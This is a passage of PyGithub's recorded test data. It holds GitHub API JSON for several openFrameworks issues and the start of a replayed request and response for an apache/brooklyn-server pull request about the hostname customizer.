Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":172,"assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"closed_at":null,"title":"rgb + alpha -> blit to texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-04-06T19:40:28Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":166209,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/172"},{"updated_at":"2011-12-05T21:57:36Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/171","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":171,"assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"closed_at":null,"title":"sexy shader example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"created_at":"2010-04-06T19:38:51Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":166208,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/171"},{"updated_at":"2012-03-03T19:40:33Z","body":"can we do it?\r\nwe need cross platform:\r\nplayback \r\nstreaming\r\npitch\r\npan \r\nmultiplay \r\n\r\nfor us to be compatible with what exists. \r\nOpenAL seems like the best choice.\r\nWhat other options are there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","number":8,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731,"closed_issues":0},"number":167,"assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"closed_at":null,"title":"replace fmod","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"created_at":"2010-04-06T12:13:31Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":165898,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/167"},{"updated_at":"2011-12-05T21:56:41Z","body":"i have this working for 3d with selection buffer although it's meant to be slow i haven't had any problems","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/160","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":160,"assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"closed_at":null,"title":"ofIsUnderMouse?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2010-04-05T21:39:19Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":165537,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/160"},{"updated_at":"2011-12-05T21:54:57Z","body":"Theo: I have this code uses the selection buffer. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/153","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":153,"assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"closed_at":null,"title":"ofIsOnScreen - ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2010-04-05T18:49:10Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":165409,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/153"},{"updated_at":"2012-02-29T11:13:10Z","body":"check out - http://www.openframeworks.cc/forum/viewtopic.php?p=19169#p19169\r\npossible integration into core. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":140,"assignee":null,"closed_at":null,"title":"texture compression and mipmaps for of texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-04-02T19:43:00Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":163959,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/140"},{"updated_at":"2012-03-12T16:15:52Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=3319","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128","comments":4,"milestone":null,"number":128,"assignee":null,"closed_at":null,"title":"ofxTCPServer doesn't manage connected clients correcly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2010-02-14T09:40:13Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":132671,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/128"},{"updated_at":"2012-02-27T12:31:57Z","body":"Something that easily converts vector direction to openGL degrees?\r\nI find myself constantly trying to guess 270 - atan2(y, x)*RAD_TO_DEG ..... etc\r\nTo rotate something along a vector. \r\n\r\nMight be good to have it be aware of the GL world orientation - or have it so you pass in the up \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":126,"assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"closed_at":null,"title":"ofATan2GL / ofVecToGL ?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-02-13T14:22:51Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132377,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/126"},{"updated_at":"2012-04-22T15:51:57Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=3299&p=17852#p17852","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090,"closed_issues":0},"number":124,"assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"closed_at":null,"title":"TTF type rendering in OF - fix fuzziness ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"created_at":"2010-02-13T14:15:25Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132373,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/124"},{"updated_at":"2012-02-27T12:30:14Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=1374","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/121","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":121,"assignee":null,"closed_at":null,"title":"video: loop is not working unless you call play first","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"created_at":"2010-02-10T23:16:23Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":130269,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/121"},{"updated_at":"2012-02-27T12:30:49Z","body":"it would make sense to have an opengl stress test app, that can test some basic about wether or not someone has ARB support, how fast their systems are, etc. I can imagine that for 0.07, we'll be helping people debug shaders and FBOs, having some way to gauge what kind of system they are on and what it can take, will be helpful. \r\n\r\nHere's a simple test app from the Lua-AV folks that looks like a reasonable system: \r\n\r\nhttp://img191.imageshack.us/img191/1659/picture3po.png","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115","comments":0,"milestone":null,"number":115,"assignee":null,"closed_at":null,"title":"opengl stress test example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2010-01-12T02:56:21Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":111018,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/115"},{"updated_at":"2012-02-28T14:02:04Z","body":"at the moment, we've got it like:\r\n\r\nofAppGlutWindow::ofAppGlutWindow(){\r\n\tfps\t\t\t\t= 60.0; //give a realistic starting value - win32 issues\r\n\tbFrameRateSet\t\t= false;\r\n}\r\n\r\nbut I personally prefer all apps to start with some kind of similar frame rate (ie, examples running really fast on mac, etc). see for example: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=16520&#p16520\r\n\r\nthis kind of thing leads to less \"cross-platform-ness\" and more confusion from beginners, no? \r\n\r\n- z\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107","comments":8,"milestone":null,"number":107,"assignee":null,"closed_at":null,"title":"should we start all OF apps with a frame rate set?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2009-12-31T15:10:45Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":104702,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/107"},{"updated_at":"2011-09-27T15:47:45Z","body":"videoGrabber and serial listDevices should return a vector of strings apart from printing to console","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91","comments":4,"milestone":null,"number":91,"assignee":null,"closed_at":null,"title":"listDevices should return a list of strings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2009-12-09T17:11:40Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":94898,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/91"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue494.setUp.txt0000644000175100001660000004003214756101563021346 0ustar00runnerdockerhttps GET api.github.com None /repos/apache/brooklyn-server/pulls/465 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '15049'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '7b641bda7ec2ca7cd9df72d2578baf75'), ('x-oauth-scopes', 'public_repo'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"fde80d800fc318ecf3ec43cdee7b8719"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '569898E3:14C7:97463B5:583DDA4C'), ('last-modified', 'Fri, 25 Nov 2016 13:15:31 GMT'), ('date', 'Tue, 29 Nov 2016 19:43:08 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1480452188')] {"url":"https://api.github.com/repos/apache/brooklyn-server/pulls/465","id":95300332,"html_url":"https://github.com/apache/brooklyn-server/pull/465","diff_url":"https://github.com/apache/brooklyn-server/pull/465.diff","patch_url":"https://github.com/apache/brooklyn-server/pull/465.patch","issue_url":"https://api.github.com/repos/apache/brooklyn-server/issues/465","number":465,"state":"closed","locked":false,"title":"Change SetHostnameCustomizer to check if /etc/sysconfig/network exist…","user":{"login":"iyovcheva","id":4160133,"avatar_url":"https://avatars.githubusercontent.com/u/4160133?v=3","gravatar_id":"","url":"https://api.github.com/users/iyovcheva","html_url":"https://github.com/iyovcheva","followers_url":"https://api.github.com/users/iyovcheva/followers","following_url":"https://api.github.com/users/iyovcheva/following{/other_user}","gists_url":"https://api.github.com/users/iyovcheva/gists{/gist_id}","starred_url":"https://api.github.com/users/iyovcheva/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/iyovcheva/subscriptions","organizations_url":"https://api.github.com/users/iyovcheva/orgs","repos_url":"https://api.github.com/users/iyovcheva/repos","events_url":"https://api.github.com/users/iyovcheva/events{/privacy}","received_events_url":"https://api.github.com/users/iyovcheva/received_events","type":"User","site_admin":false},"body":"…s on machine and create it if not\r\n\r\nIn some rare situations it's possible `/etc/sysconfig/network` to be missing on the VM on CentOS 6.\r\nChanged the behavior of `SetHostnameCustomizer` to check and create the file.","created_at":"2016-11-25T12:54:37Z","updated_at":"2016-11-25T13:15:31Z","closed_at":"2016-11-25T13:01:03Z","merged_at":null,"merge_commit_sha":"2ecd02721a0b2920bc2ea333a7a3ce4d74458f19","assignee":null,"assignees":[],"milestone":null,"commits_url":"https://api.github.com/repos/apache/brooklyn-server/pulls/465/commits","review_comments_url":"https://api.github.com/repos/apache/brooklyn-server/pulls/465/comments","review_comment_url":"https://api.github.com/repos/apache/brooklyn-server/pulls/comments{/number}","comments_url":"https://api.github.com/repos/apache/brooklyn-server/issues/465/comments","statuses_url":"https://api.github.com/repos/apache/brooklyn-server/statuses/68fd4d17d44ff9f16a59d8dd18f48fba3b5b38a5","head":{"label":"iyovcheva:set-hostname-customizer","ref":"set-hostname-customizer","sha":"68fd4d17d44ff9f16a59d8dd18f48fba3b5b38a5","user":{"login":"iyovcheva","id":4160133,"avatar_url":"https://avatars.githubusercontent.com/u/4160133?v=3","gravatar_id":"","url":"https://api.github.com/users/iyovcheva","html_url":"https://github.com/iyovcheva","followers_url":"https://api.github.com/users/iyovcheva/followers","following_url":"https://api.github.com/users/iyovcheva/following{/other_user}","gists_url":"https://api.github.com/users/iyovcheva/gists{/gist_id}","starred_url":"https://api.github.com/users/iyovcheva/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/iyovcheva/subscriptions","organizations_url":"https://api.github.com/users/iyovcheva/orgs","repos_url":"https://api.github.com/users/iyovcheva/repos","events_url":"https://api.github.com/users/iyovcheva/events{/privacy}","received_events_url":"https://api.github.com/users/iyovcheva/received_events","type":"User","site_admin":false},"repo":{"id":51428490,"name":"brooklyn-server","full_name":"iyovcheva/brooklyn-server","owner":{"login":"iyovcheva","id":4160133,"avatar_url":"https://avatars.githubusercontent.com/u/4160133?v=3","gravatar_id":"","url":"https://api.github.com/users/iyovcheva","html_url":"https://github.com/iyovcheva","followers_url":"https://api.github.com/users/iyovcheva/followers","following_url":"https://api.github.com/users/iyovcheva/following{/other_user}","gists_url":"https://api.github.com/users/iyovcheva/gists{/gist_id}","starred_url":"https://api.github.com/users/iyovcheva/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/iyovcheva/subscriptions","organizations_url":"https://api.github.com/users/iyovcheva/orgs","repos_url":"https://api.github.com/users/iyovcheva/repos","events_url":"https://api.github.com/users/iyovcheva/events{/privacy}","received_events_url":"https://api.github.com/users/iyovcheva/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/iyovcheva/brooklyn-server","description":"Mirror of Apache Brooklyn server","fork":true,"url":"https://api.github.com/repos/iyovcheva/brooklyn-server","forks_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/forks","keys_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/keys{/key_id}","collaborators_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/teams","hooks_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/hooks","issue_events_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/issues/events{/number}","events_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/events","assignees_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/assignees{/user}","branches_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/branches{/branch}","tags_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/tags","blobs_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/git/refs{/sha}","trees_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/git/trees{/sha}","statuses_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/statuses/{sha}","languages_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/languages","stargazers_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/stargazers","contributors_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/contributors","subscribers_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/subscribers","subscription_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/subscription","commits_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/commits{/sha}","git_commits_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/git/commits{/sha}","comments_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/comments{/number}","issue_comment_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/issues/comments{/number}","contents_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/contents/{+path}","compare_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/compare/{base}...{head}","merges_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/merges","archive_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/downloads","issues_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/issues{/number}","pulls_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/pulls{/number}","milestones_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/milestones{/number}","notifications_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/labels{/name}","releases_url":"https://api.github.com/repos/iyovcheva/brooklyn-server/releases{/id}","deployments_url